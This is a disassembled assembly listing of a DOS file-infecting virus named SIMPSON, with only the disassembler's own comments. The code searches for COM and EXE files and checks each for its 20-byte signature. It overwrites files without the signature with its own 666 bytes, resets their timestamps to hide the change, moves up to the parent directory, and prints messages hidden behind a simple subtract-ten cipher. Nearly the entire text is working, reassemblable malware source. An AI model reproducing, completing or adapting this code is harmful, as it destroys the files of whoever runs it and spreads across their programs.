PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ SIMPSON ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 4-Dec-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 2Eh data_10e equ 39Ah ;* data_11e equ 39Ch ;* data_12e equ 39Eh ;* data_13e equ 3A0h ;* data_14e equ 5845h ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h simpson proc far start: push si xor si,si ; Zero register loc_1: call sub_2 or ax,ax ; Zero ? jz loc_2 ; Jump if zero call sub_1 inc si inc data_8 jmp short loc_3 loc_2: mov dx,38Bh mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx inc si loc_3: cmp si,data_6 jl loc_1 ; Jump if < cmp byte ptr data_8,0 je loc_4 ; Jump if equal mov ax,2BAh push ax call sub_5 pop cx jmp short loc_8 loc_4: cmp byte ptr data_7,6 jbe loc_7 ; Jump if below or = xor si,si ; Zero register jmp short loc_6 loc_5: mov bx,si shl bx,1 ; Shift w/zeros fill push data_2[bx] call sub_5 pop cx inc si loc_6: cmp si,3 jl loc_5 ; Jump if < jmp short loc_8 loc_7: mov ax,2BAh push ax call sub_5 pop cx loc_8: jmp short $+2 ; delay for I/O pop si retn simpson endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov dx,data_3 add dx,1Eh xor cx,cx ; Zero register mov al,1 mov ah,43h ; 'C' int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx mov ax,data_3 add ax,1Eh push ax call sub_8 pop cx mov bx,ds:data_10e mov cx,data_5 mov dx,data_4 mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer call sub_4 call sub_9 jmp short $+2 ; delay for I/O retn sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near mov ax,38Eh push ax call sub_6 pop cx cmp ax,12h je loc_12 ; Jump if equal call sub_3 or ax,ax ; Zero ? jz loc_9 ; Jump if zero mov ax,1 jmp short loc_ret_17 jmp short loc_12 loc_9: jmp short loc_11 loc_10: call sub_3 or ax,ax ; Zero ? jz loc_11 ; Jump if zero mov ax,1 jmp short loc_ret_17 loc_11: call sub_7 cmp ax,12h jne loc_10 ; Jump if not equal loc_12: mov ax,394h push ax call sub_6 pop cx cmp ax,12h je loc_16 ; Jump if equal call sub_3 or ax,ax ; Zero ? jz loc_13 ; Jump if zero mov ax,1 jmp short loc_ret_17 jmp short loc_16 loc_13: jmp short loc_15 loc_14: call sub_3 or ax,ax ; Zero ? jz loc_15 ; Jump if zero mov ax,1 jmp short loc_ret_17 loc_15: call sub_7 cmp ax,12h jne loc_14 ; Jump if not equal loc_16: xor ax,ax ; Zero register jmp short loc_ret_17 loc_ret_17: retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near push si mov bx,data_3 mov ax,[bx+18h] mov ds:data_11e,ax mov bx,data_3 mov ax,[bx+16h] mov ds:data_12e,ax mov ax,data_3 add ax,1Eh push ax call sub_8 pop cx mov bx,ds:data_10e mov cx,14h mov dx,data_13e mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer call sub_4 call sub_9 xor si,si ; Zero register jmp short loc_20 loc_18: mov al,ds:data_13e[si] mov bx,data_4 cmp al,[bx+si] je loc_19 ; Jump if equal mov ax,1 jmp short loc_21 loc_19: inc si loc_20: cmp si,14h jl loc_18 ; Jump if < inc data_7 xor ax,ax ; Zero register jmp short loc_21 loc_21: pop si retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near mov al,1 mov bx,ds:data_10e mov cx,ds:data_12e mov dx,ds:data_11e mov ah,57h ; 'W' int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time jmp short $+2 ; delay for I/O retn sub_4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near push bp mov bp,sp push si mov si,[bp+4] jmp short loc_24 loc_23: sub byte ptr [si],0Ah inc si loc_24: cmp byte ptr [si],0 jne loc_23 ; Jump if not equal mov dx,[bp+4] mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx jmp short $+2 ; delay for I/O pop si pop bp retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push bp mov bp,sp mov dx,[bp+4] mov cx,0FFh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jmp short $+2 ; delay for I/O pop bp retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jmp short $+2 ; delay for I/O retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near push bp mov bp,sp mov dx,[bp+4] mov al,2 mov ah,3Dh ; '=' int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov ds:data_10e,ax jmp short $+2 ; delay for I/O pop bp retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near mov bx,ds:data_10e mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle jmp short $+2 ; delay for I/O retn sub_9 endp pop ss adc al,5Ah ; 'Z' jl $+7Bh ; Jump if < jno $+7Eh ; Jump if not overflw db 'kw*~yy*lsq*~y*ps~*sx*wowy|' db 83h, 2Eh, 00h data_2 dw 2F1h ; Data table (indexed access) db 2Ah, 03h, 63h, 03h data_3 dw 80h db 58h, 58h, 00h data_4 dw 100h data_5 dw 29Ah data_6 dw 4 data_7 db 0 data_8 db 0 db 17h, 14h, 13h db 'XOa]*PVK]R++**cy' db 7Fh, 7Ch, 2Ah, 7Dh, 83h db '}~ow*rk}*loox*sxpom~on*' db 81h db 's~r*~ro.' db 00h, 17h, 14h, 13h, 73h, 78h db 6Dh, 7Fh db '|klvo*nomk' db 83h, 2Ah, 79h, 70h, 2Ah, 56h db 'OZ\Y]c*;8::6*k*' db 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah db 73h, 78h, 80h, 6Fh, 78h, 7Eh db 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh db 00h, 17h, 14h, 13h db 'ZMW<*sx*T' db 7Fh db 'xo*yp*;CC:8**Qyyn*v' db 7Fh, 6Dh, 75h, 2Bh, 17h, 14h db 2Eh db 0 data_9 db 2Eh db 2Eh db 00h, 2Ah, 2Eh, 45h db 58h, 45h, 00h db 2Ah, 2Eh, 43h, 4Fh, 4Dh db 0 seg_a ends end start